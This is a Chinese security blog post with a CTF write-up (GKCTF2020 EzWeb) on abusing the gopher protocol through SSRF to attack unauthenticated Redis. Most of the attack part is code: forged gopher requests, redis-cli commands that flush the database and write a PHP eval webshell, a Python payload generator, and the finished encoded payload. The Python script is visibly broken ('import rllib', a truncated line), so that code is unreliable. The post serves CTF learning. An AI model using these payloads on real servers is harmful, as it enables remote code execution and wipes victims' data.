前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Gopher协议与redis未授权访问

Gopher协议与redis未授权访问

作者头像
字节脉搏实验室
发布2020-06-01 11:39:56
1.9K0
发布2020-06-01 11:39:56
举报

0x00 简介

定义:gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求

可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

gopher协议格式

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

· gopher的默认端口是70

· 如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

gopher发送请求HTTP GET请求

Windows下安装netcat,工具地址:

https://eternallybored.org/misc/netcat/

在 C:\Windows\System32的文件夹下解压即可。

首先在本机上开启监听端口:nc -lvp 6666

Kali上:curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要传递的数据,_会被吃掉不会传递过去

发送一个原始的HTTP包

在gopher协议中发送HTTP的数据,需要以下三步

1、构造HTTP数据包

2、URL编码、替换回车换行为%0d%0a

3、发送gopher协议

首先利用PHPStudy新建一个get.php文件,内容

<?php echo "Hello ".$_GET["name"]."\n"?>

传递?name=purplet,利用BurpSuite抓包可以看到报文头

GET /tes/get.php?name=purplet HTTP/1.1Host: 192.168.194.1

URL编码后为:curl gopher://192.168.194.1:80/_GET%20/tes/get.php%3fname=purplet%20HTTP/1.1%0d%0aHost:%20192.168.194.1%0d%0a

注意:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

gopher发送请求HTTP POST请求

POST与GET传参的区别:它有4个参数为必要参数

POST /tes/post.php HTTP/1.1host:192.168.194.1Content-Type:application/x-www-form-urlencodedContent-Length:12name=purplet

如下构造:

curl gopher://192.168.194.1:80/_POST%20/tes/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

其中post.php

<?php echo "Hello".$_POST['name']."\n";?>

0x01 redis未授权访问

什么是redis

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。

什么是redis未授权访问漏洞

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;注:默认在6379端口

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞利用常见三种方法:

(1)已知目标网站绝对路径写入Webshell

(2)定时任务反弹shell

(3)利用"公私钥"认证获取root权限,ssh免密登陆目标服务器

CTF中较为常见的利用方法是写入webshell,通过redis连接工具

root@kali:~# redis-cli -h 192.168.5.57(目标IP)

可以不输入密码连接成功,下面这个命令会清空数据库,谨慎使用

192.168.5.57:6379>flushall

写入Webshell

192.168.5.57:6379>config set dir /var/www/html/ #设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取

192.168.5.57:6379>config set dbfilename shell.php #创建文件

192.168.5.57:6379>set webshell "<?php @eval($_POST[1]);?>"

192.168.5.57:6379>save

0x02 CTF中的应用

[GKCTF2020]EZ三剑客-EzWeb

考点:redis未授权访问与gopher协议的利用

查看源代码后发现隐藏注释

传递?secret后看到ipconfig的信息,得到该网站的内网IP是173.235.203.10

在前端输入框中随意输入后看到url处存在一个url参数以GET形式传递了输入字符,疑似SSRF,将获得的本机IP传入,果真又出现了一个当前页面。实战可以尝试传入百度的网址,若有页面回显也可能存在一个SSRF漏洞。

既然是有回显的SSRF,可以利用BurpSuite其进行内网扫描,获取所有存在的内网IP。对C段进行选定爆破1-255

爆破结果得到4个内网IP

其中11时出现以下字:被你发现了,但你也许需要试试其他服务,就在这台机子上! …我说的是端口,给出了很明显的提示继续进行端口扫描

端口扫描时可不必从1-65535,针对经常会出现漏洞的的端口可进行一个扫描

21,22,23,25,53,80,89,110,139,143,161,443,445,465,873,993,995,1433,1521,1723,2049,3128,3306,3389,4100,5000,5432,5632,5900,6379,7001,8069,8080,8090,9200,9300,9871,11211,27017,27018

最终扫描结果看到存在redis的默认端口6379,很容易想到可能存在redis的未授权访问漏洞,同时测试发现file协议也被ban掉了,接下来利用gopher协议对redis进行写入webshell的操作。

exp如下:

#/usr/bin/python

import rllib

protocol="gopher://"

ip="173.235.203.11"

port="6379"

shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"

filename="shell.php"

path="/var/www/html"

passwd=""

cmd=["flushall",

"set 1 {}".format(shell.replace(" ","${IFS}")),

"config set dir {}".format(path),

"config set dbfilename {}".format(filename),

"save"

]

if passwd:

cmd.insert(0,"AUTH {}".format(passwd))

payload=protocol+ip+":"+port+"/_"

def redis_format(arr):

CRLF="\r\n"

redis_arr = arr.split(" ")

cmd=""

cmd+="*"+str(len(redis_arr))

for x in redis_arr:

cmd+=CRLF+"

cmd+=CRLF

return cmd

if __name__=="__main__":

for x in cmd:

payload += urllib.quote(redis_format(x))

print(payload)

python2环境下运行后将得到的结果提交过去

gopher://173.235.203.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

最终拿到shell成功实现命令执行。

文章参考:

https://zhuanlan.zhihu.com/p/112055947

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#SSRF%E4%BB%8B%E7%BB%8D

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档